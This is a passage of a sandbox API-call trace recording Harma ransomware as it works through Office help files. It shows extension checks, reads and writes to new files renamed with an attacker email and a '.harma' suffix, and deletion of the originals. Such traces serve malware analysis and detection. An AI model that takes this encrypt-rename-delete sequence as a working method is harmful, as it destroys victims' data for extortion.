(lpString1=".doc", lpString2=".HXC") returned -1 [0158.270] lstrlenW (lpString=".docx") returned 5 [0158.270] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0158.270] lstrlenW (lpString=".pdf") returned 4 [0158.270] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0158.270] lstrlenW (lpString=".xls") returned 4 [0158.270] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0158.270] lstrlenW (lpString=".xlsx") returned 5 [0158.270] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0158.270] lstrlenW (lpString=".ppt") returned 4 [0158.270] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0158.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC") returned 59 [0158.270] lstrlenW (lpString=".zip") returned 4 [0158.271] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0158.271] lstrlenW (lpString=".rar") returned 4 [0158.271] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0158.271] lstrlenW (lpString=".bz2") returned 4 [0158.271] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0158.271] lstrlenW (lpString=".7z") returned 3 [0158.271] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0158.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC") returned 59 [0158.271] lstrlenW (lpString=".dbf") returned 4 [0158.271] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0158.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC") returned 59 [0158.271] lstrlenW (lpString=".1cd") returned 4 [0158.271] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0158.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC") returned 59 [0158.271] lstrlenW (lpString=".jpg") returned 4 [0158.271] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0158.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC") returned 59 [0158.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC") returned 59 [0158.271] lstrlenW (lpString=".doc") returned 4 [0158.271] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0158.271] lstrlenW (lpString=".docx") returned 5 [0158.271] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0158.271] lstrlenW (lpString=".pdf") returned 4 [0158.271] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0158.271] lstrlenW (lpString=".xls") returned 4 [0158.271] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0158.271] lstrlenW (lpString=".xlsx") returned 5 [0158.271] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0158.271] lstrlenW (lpString=".ppt") returned 4 [0158.271] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0158.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC") returned 59 [0158.271] lstrlenW (lpString=".zip") returned 4 [0158.272] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0158.272] lstrlenW (lpString=".rar") returned 4 [0158.272] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0158.272] lstrlenW (lpString=".bz2") returned 4 [0158.272] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0158.272] lstrlenW (lpString=".7z") returned 3 [0158.272] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0158.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC") returned 59 [0158.272] lstrlenW (lpString=".dbf") returned 4 [0158.272] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0158.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC") returned 59 [0158.272] lstrlenW (lpString=".1cd") returned 4 [0158.272] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0158.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC") returned 59 [0158.272] lstrlenW (lpString=".jpg") returned 4 [0158.272] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0158.272] lstrcmpiW (lpString1=".HXT", lpString2=".harma") returned 1 [0158.272] lstrlenW (lpString="OIS_COL.HXT") returned 11 [0158.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0158.273] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=203) returned 1 [0158.273] CloseHandle (hObject=0x208) returned 1 [0158.273] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_col.hxt")) returned 0x20 [0158.273] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_col.hxt.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0158.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0158.274] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.274] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_col.hxt.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0158.274] GetLastError () returned 0x0 [0158.274] ReadFile (in: hFile=0x208, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0xcb, lpOverlapped=0x0) returned 1 [0158.275] WriteFile (in: hFile=0x368, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xd0, lpOverlapped=0x0) returned 1 [0158.276] ReadFile (in: hFile=0x208, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0158.276] WriteFile (in: hFile=0x368, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xea, lpOverlapped=0x0) returned 1 [0158.277] SetEndOfFile (hFile=0x368) returned 1 [0158.277] CloseHandle (hObject=0x368) returned 1 [0158.277] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.277] SetEndOfFile (hFile=0x208) returned 1 [0158.279] CloseHandle (hObject=0x208) returned 1 [0158.280] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0158.280] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_col.hxt")) returned 1 [0158.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT") returned 59 [0158.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT") returned 59 [0158.281] lstrlenW (lpString=".doc") returned 4 [0158.281] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0158.281] lstrlenW (lpString=".docx") returned 5 [0158.281] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0158.281] lstrlenW (lpString=".pdf") returned 4 [0158.281] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0158.281] lstrlenW (lpString=".xls") returned 4 [0158.281] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0158.281] lstrlenW (lpString=".xlsx") returned 5 [0158.281] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0158.281] lstrlenW (lpString=".ppt") returned 4 [0158.281] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0158.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT") returned 59 [0158.281] lstrlenW (lpString=".zip") returned 4 [0158.281] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0158.281] lstrlenW (lpString=".rar") returned 4 [0158.281] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0158.281] lstrlenW (lpString=".bz2") returned 4 [0158.281] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0158.281] lstrlenW (lpString=".7z") returned 3 [0158.281] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0158.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT") returned 59 [0158.281] lstrlenW (lpString=".dbf") returned 4 [0158.281] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0158.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT") returned 59 [0158.281] lstrlenW (lpString=".1cd") returned 4 [0158.281] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0158.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT") returned 59 [0158.281] lstrlenW (lpString=".jpg") returned 4 [0158.281] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0158.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT") returned 59 [0158.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT") returned 59 [0158.368] lstrlenW (lpString=".doc") returned 4 [0158.368] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0158.368] lstrlenW (lpString=".docx") returned 5 [0158.368] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0158.368] lstrlenW (lpString=".pdf") returned 4 [0158.368] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0158.368] lstrlenW (lpString=".xls") returned 4 [0158.368] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0158.368] lstrlenW (lpString=".xlsx") returned 5 [0158.368] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0158.368] lstrlenW (lpString=".ppt") returned 4 [0158.368] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0158.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT") returned 59 [0158.369] lstrlenW (lpString=".zip") returned 4 [0158.369] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0158.369] lstrlenW (lpString=".rar") returned 4 [0158.369] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0158.369] lstrlenW (lpString=".bz2") returned 4 [0158.369] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0158.369] lstrlenW (lpString=".7z") returned 3 [0158.369] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0158.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT") returned 59 [0158.369] lstrlenW (lpString=".dbf") returned 4 [0158.369] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0158.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT") returned 59 [0158.369] lstrlenW (lpString=".1cd") returned 4 [0158.369] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0158.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT") returned 59 [0158.369] lstrlenW (lpString=".jpg") returned 4 [0158.369] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0158.369] lstrcmpiW (lpString1=".HXT", lpString2=".harma") returned 1 [0158.369] lstrlenW (lpString="ONENOTE_COL.HXT") returned 15 [0158.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0158.374] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=207) returned 1 [0158.374] CloseHandle (hObject=0x370) returned 1 [0158.374] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_col.hxt")) returned 0x20 [0158.374] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_col.hxt.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0158.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0158.375] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.375] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_col.hxt.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0158.376] GetLastError () returned 0x0 [0158.376] ReadFile (in: hFile=0x370, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0xcf, lpOverlapped=0x0) returned 1 [0158.377] WriteFile (in: hFile=0x208, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xd0, lpOverlapped=0x0) returned 1 [0158.378] ReadFile (in: hFile=0x370, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0158.378] WriteFile (in: hFile=0x208, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xf2, lpOverlapped=0x0) returned 1 [0158.378] SetEndOfFile (hFile=0x208) returned 1 [0158.378] CloseHandle (hObject=0x208) returned 1 [0158.379] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.379] SetEndOfFile (hFile=0x370) returned 1 [0158.381] CloseHandle (hObject=0x370) returned 1 [0158.381] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0158.381] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_col.hxt")) returned 1 [0158.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT") returned 63 [0158.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT") returned 63 [0158.382] lstrlenW (lpString=".doc") returned 4 [0158.382] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0158.382] lstrlenW (lpString=".docx") returned 5 [0158.382] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0158.382] lstrlenW (lpString=".pdf") returned 4 [0158.382] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0158.382] lstrlenW (lpString=".xls") returned 4 [0158.382] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0158.382] lstrlenW (lpString=".xlsx") returned 5 [0158.382] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0158.382] lstrlenW (lpString=".ppt") returned 4 [0158.382] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0158.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT") returned 63 [0158.382] lstrlenW (lpString=".zip") returned 4 [0158.382] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0158.382] lstrlenW (lpString=".rar") returned 4 [0158.382] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0158.382] lstrlenW (lpString=".bz2") returned 4 [0158.382] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0158.383] lstrlenW (lpString=".7z") returned 3 [0158.383] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0158.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT") returned 63 [0158.383] lstrlenW (lpString=".dbf") returned 4 [0158.383] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0158.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT") returned 63 [0158.383] lstrlenW (lpString=".1cd") returned 4 [0158.383] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0158.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT") returned 63 [0158.383] lstrlenW (lpString=".jpg") returned 4 [0158.383] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0158.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT") returned 63 [0158.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT") returned 63 [0158.383] lstrlenW (lpString=".doc") returned 4 [0158.383] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0158.383] lstrlenW (lpString=".docx") returned 5 [0158.383] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0158.383] lstrlenW (lpString=".pdf") returned 4 [0158.383] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0158.383] lstrlenW (lpString=".xls") returned 4 [0158.383] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0158.383] lstrlenW (lpString=".xlsx") returned 5 [0158.383] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0158.383] lstrlenW (lpString=".ppt") returned 4 [0158.383] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0158.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT") returned 63 [0158.383] lstrlenW (lpString=".zip") returned 4 [0158.383] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0158.383] lstrlenW (lpString=".rar") returned 4 [0158.383] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0158.383] lstrlenW (lpString=".bz2") returned 4 [0158.383] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0158.384] lstrlenW (lpString=".7z") returned 3 [0158.384] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0158.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT") returned 63 [0158.384] lstrlenW (lpString=".dbf") returned 4 [0158.384] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0158.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT") returned 63 [0158.384] lstrlenW (lpString=".1cd") returned 4 [0158.384] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0158.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT") returned 63 [0158.384] lstrlenW (lpString=".jpg") returned 4 [0158.384] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0158.384] lstrcmpiW (lpString1=".HXK", lpString2=".harma") returned 1 [0158.384] lstrlenW (lpString="ONENOTE_F_COL.HXK") returned 17 [0158.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0158.385] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=114) returned 1 [0158.385] CloseHandle (hObject=0x370) returned 1 [0158.385] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_f_col.hxk")) returned 0x20 [0158.385] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_f_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0158.386] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0158.386] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.386] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.386] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_f_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0158.387] GetLastError () returned 0x0 [0158.387] ReadFile (in: hFile=0x370, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x72, lpOverlapped=0x0) returned 1 [0158.389] WriteFile (in: hFile=0x208, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0x80, lpOverlapped=0x0) returned 1 [0158.390] ReadFile (in: hFile=0x370, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0158.390] WriteFile (in: hFile=0x208, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xf6, lpOverlapped=0x0) returned 1 [0158.391] SetEndOfFile (hFile=0x208) returned 1 [0158.391] CloseHandle (hObject=0x208) returned 1 [0158.391] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.391] SetEndOfFile (hFile=0x370) returned 1 [0158.394] CloseHandle (hObject=0x370) returned 1 [0158.394] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0158.395] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_f_col.hxk")) returned 1 [0158.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK") returned 65 [0158.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK") returned 65 [0158.395] lstrlenW (lpString=".doc") returned 4 [0158.395] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0158.395] lstrlenW (lpString=".docx") returned 5 [0158.395] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0158.396] lstrlenW (lpString=".pdf") returned 4 [0158.396] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0158.396] lstrlenW (lpString=".xls") returned 4 [0158.396] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0158.396] lstrlenW (lpString=".xlsx") returned 5 [0158.396] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0158.396] lstrlenW (lpString=".ppt") returned 4 [0158.396] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0158.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK") returned 65 [0158.396] lstrlenW (lpString=".zip") returned 4 [0158.396] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0158.396] lstrlenW (lpString=".rar") returned 4 [0158.396] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0158.396] lstrlenW (lpString=".bz2") returned 4 [0158.396] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0158.396] lstrlenW (lpString=".7z") returned 3 [0158.396] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0158.396] lstrlenW (lpString="C:\\Program 